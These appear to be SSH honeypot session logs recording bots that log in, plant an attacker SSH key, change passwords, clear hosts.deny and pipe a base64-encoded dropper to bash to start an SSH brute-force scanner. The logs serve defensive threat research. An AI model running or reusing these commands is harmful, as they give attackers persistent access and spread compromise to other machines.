zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T19:52:35.368969+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T19:52:35.369424+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T19:52:35.490014+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T19:52:35.490742+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T19:52:35.592266+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T19:52:35.593122+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":29,"at":"2026-08-25T19:52:35.660817+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T19:52:36.378827+00:00","kind":"output","latency_ms":717,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T19:52:36.461604+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T19:52:37.105573+00:00","kind":"output","latency_ms":643,"data":"24G"},{"seq":33,"at":"2026-08-25T19:52:37.436004+00:00","kind":"input","latency_ms":null,"data":"echo \"ubuntu adminadmin\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T19:52:37.507297+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T19:52:37.719124+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-25T19:52:38.077897+00:00","kind":"output","latency_ms":569,"data":""},{"seq":37,"at":"2026-08-25T19:52:38.285203+00:00","kind":"output","latency_ms":566,"data":"ubuntu adminadmin"},{"seq":38,"at":"2026-08-25T19:52:38.380903+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T19:52:38.833939+00:00","kind":"output","latency_ms":451,"data":""},{"seq":40,"at":"2026-08-25T19:52:38.924052+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T19:52:39.015475+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T19:52:39.759108+00:00","kind":"output","latency_ms":742,"data":"1"},{"seq":43,"at":"2026-08-25T19:52:40.009794+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T19:52:40.413438+00:00","kind":"output","latency_ms":402,"data":"1"},{"seq":45,"at":"2026-08-25T19:52:40.483271+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T19:52:41.283867+00:00","kind":"output","latency_ms":800,"data":""},{"seq":47,"at":"2026-08-25T19:52:48.802116+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T19:52:48.802816+00:00","kind":"output","latency_ms":null,"data":"ubuntu"}],"credentials":[{"username":"ubuntu","password":"adminadmin","method":"password","accepted":true,"tier":"other"}]} {"id":"0835e1bc-6be9-4a80-bbc9-f610932e6744","name":"lunar-vernal-magpie","protocol":"ssh","channel_kind":"exec","src_ip":"43.128.3.201","src_port":53096,"username":"test1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":672,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T18:49:44.037854+00:00","ended_at":"2026-08-25T18:49:44.247737+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3452,"events":[{"seq":1,"at":"2026-08-25T18:49:03.735510+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T18:49:04.408243+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T18:49:10.276112+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T18:49:10.277281+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T18:49:10.948496+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pass1234\\nI4nQTv6KUjAY\\nI4nQTv6KUjAY\"|passwd|bash"},{"seq":6,"at":"2026-08-25T18:49:11.616268+00:00","kind":"input","latency_ms":null,"data":"echo \"pass1234\\nI4nQTv6KUjAY\\nI4nQTv6KUjAY\\n\"|passwd"},{"seq":7,"at":"2026-08-25T18:49:12.292047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T18:49:12.292736+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T18:49:12.962326+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T18:49:13.756478+00:00","kind":"output","latency_ms":794,"data":"15888 3891 10835 140 1020 0"},{"seq":11,"at":"2026-08-25T18:49:14.428714+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T18:49:14.979723+00:00","kind":"output","latency_ms":549,"data":"-rwxr-xr-x 1 root root 151K Jan 23 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T18:49:15.650946+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T18:49:15.651703+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T18:49:16.325745+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T18:49:16.326465+00:00","kind":"output","latency_ms":null,"data":" 18:49:16 up 5 days, 15:39, 0 user, load average: 0.27, 0.23, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T18:49:16.996274+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T18:49:16.997237+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T18:49:17.667294+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T18:49:17.667786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T18:49:18.341443+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T18:49:18.341908+00:00","kind":"output","latency_ms":null,"data":"top - 18:49:18 up 5 days, 15:39, 0 user, load average: 0.27, 0.23, 0.3\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T18:49:19.012904+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T18:49:19.014017+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T18:49:19.685859+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T18:49:19.686315+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T18:49:20.358584+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T18:49:20.359039+00:00","kind":"output","latency_ms":null,"data":"test1"},{"seq":29,"at":"2026-08-25T18:49:21.031407+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T18:49:21.814031+00:00","kind":"output","latency_ms":782,"data":"Model name: AMD EPYC 7713 64-Core Processor\n```"},{"seq":31,"at":"2026-08-25T18:49:22.486436+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T18:49:22.948640+00:00","kind":"output","latency_ms":461,"data":"24G"},{"seq":33,"at":"2026-08-25T18:49:25.122253+00:00","kind":"input","latency_ms":null,"data":"echo \"test1 pass1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T18:49:25.795397+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T18:49:26.265788+00:00","kind":"output","latency_ms":471,"data":""},{"seq":36,"at":"2026-08-25T18:49:28.223335+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T18:49:28.712072+00:00","kind":"output","latency_ms":492,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-25T18:49:29.383292+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T18:49:30.412539+00:00","kind":"output","latency_ms":1029,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T18:49:31.085091+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T18:49:31.759449+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T18:49:33.202562+00:00","kind":"output","latency_ms":1445,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-25T18:49:33.875649+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T18:49:34.557151+00:00","kind":"output","latency_ms":682,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-25T18:49:35.229668+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T18:49:36.262375+00:00","kind":"output","latency_ms":1032,"data":""},{"seq":47,"at":"2026-08-25T18:49:44.039106+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T18:49:44.039679+00:00","kind":"output","latency_ms":null,"data":"test1"}],"credentials":[{"username":"test1","password":"pass1234","method":"password","accepted":true,"tier":"other"}]} {"id":"02a89e4b-0910-4990-96c9-bce5bab983df","name":"restless-vigilant-skua","protocol":"ssh","channel_kind":"exec","src_ip":"216.10.242.215","src_port":49222,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":618,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T12:51:28.687254+00:00","ended_at":"2026-08-25T12:51:28.877929+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3437,"events":[{"seq":1,"at":"2026-08-25T12:50:45.824473+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T12:50:46.444628+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T12:50:52.704460+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T12:50:52.704787+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T12:50:53.322957+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6mPOyguPkxby\"|chpasswd|bash"},{"seq":6,"at":"2026-08-25T12:50:53.964598+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-25T12:50:54.094300+00:00","kind":"output","latency_ms":771,"data":""},{"seq":8,"at":"2026-08-25T12:50:54.579847+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-25T12:50:54.580202+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-25T12:50:55.198711+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T12:50:56.400296+00:00","kind":"output","latency_ms":1201,"data":"15888 3241 9743 143 2902 0"},{"seq":12,"at":"2026-08-25T12:50:57.019093+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T12:50:58.318464+00:00","kind":"output","latency_ms":1299,"data":"-rwxr-xr-x 1 root root 142K Mar 25 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T12:50:58.936462+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T12:50:58.937340+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-25T12:50:59.554640+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T12:50:59.555303+00:00","kind":"output","latency_ms":null,"data":" 12:50:59 up 5 days, 9:41, 0 user, load average: 0.26, 0.34, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T12:51:00.173781+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T12:51:00.174274+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T12:51:00.802062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T12:51:00.802543+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T12:51:01.422763+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T12:51:01.423301+00:00","kind":"output","latency_ms":null,"data":"top - 12:51:01 up 5 days, 9:41, 0 user, load average: 0.26, 0.34, 0.22\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T12:51:02.041795+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T12:51:02.042329+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T12:51:02.659013+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T12:51:02.659661+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T12:51:03.275561+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T12:51:03.276218+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-25T12:51:03.892384+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T12:51:04.515794+00:00","kind":"output","latency_ms":622,"data":"Model name: AMD EPYC 7713 64-Core Processor x8"},{"seq":32,"at":"2026-08-25T12:51:05.134686+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T12:51:05.984922+00:00","kind":"output","latency_ms":849,"data":"24G"},{"seq":34,"at":"2026-08-25T12:51:07.970702+00:00","kind":"input","latency_ms":null,"data":"echo \"root Ruibo2014!@#\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T12:51:08.588308+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T12:51:09.279628+00:00","kind":"output","latency_ms":690,"data":""},{"seq":37,"at":"2026-08-25T12:51:10.802889+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T12:51:11.555760+00:00","kind":"output","latency_ms":748,"data":"horsefeed: oats=120 hay=84 water=restocked\n"},{"seq":39,"at":"2026-08-25T12:51:12.170468+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T12:51:12.645107+00:00","kind":"output","latency_ms":474,"data":"horsefeed: oats=120 hay=84 water=restocked"},{"seq":41,"at":"2026-08-25T12:51:13.264657+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T12:51:13.883515+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T12:51:14.640887+00:00","kind":"output","latency_ms":756,"data":"horsefeed: oats=120 hay=84 water=restocked"},{"seq":44,"at":"2026-08-25T12:51:15.259614+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T12:51:16.085905+00:00","kind":"output","latency_ms":825,"data":"horsefeed: oats=120 hay=84 water=restocked"},{"seq":46,"at":"2026-08-25T12:51:16.704061+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-25T12:51:28.689600+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T12:51:28.690388+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Ruibo2014!@#","method":"password","accepted":true,"tier":"other"}]} {"id":"e94bbb20-9ab1-4579-83a3-b31d8d25d26c","name":"snowy-prickly-moorhen","protocol":"ssh","channel_kind":"exec","src_ip":"185.158.22.150","src_port":51641,"username":"eric","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":515,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T12:00:45.324526+00:00","ended_at":"2026-08-25T12:00:45.482622+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3891,"events":[{"seq":1,"at":"2026-08-25T12:00:09.636118+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T12:00:10.149547+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T12:00:14.958758+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T12:00:14.959374+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T12:00:15.474856+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\n7bQuEHGsVpFr\\n7bQuEHGsVpFr\"|passwd|bash"},{"seq":6,"at":"2026-08-25T12:00:15.991566+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\n7bQuEHGsVpFr\\n7bQuEHGsVpFr\\n\"|passwd"},{"seq":7,"at":"2026-08-25T12:00:16.502374+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T12:00:16.502755+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T12:00:17.016132+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T12:00:17.508957+00:00","kind":"output","latency_ms":492,"data":"15888 11432 4456 0 0 0"},{"seq":11,"at":"2026-08-25T12:00:18.025289+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T12:00:19.150047+00:00","kind":"output","latency_ms":1124,"data":"-rwxr-xr-x 1 root root 147K Jan 1 00:00 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T12:00:19.666536+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T12:00:19.668492+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T12:00:20.182281+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T12:00:20.183233+00:00","kind":"output","latency_ms":null,"data":" 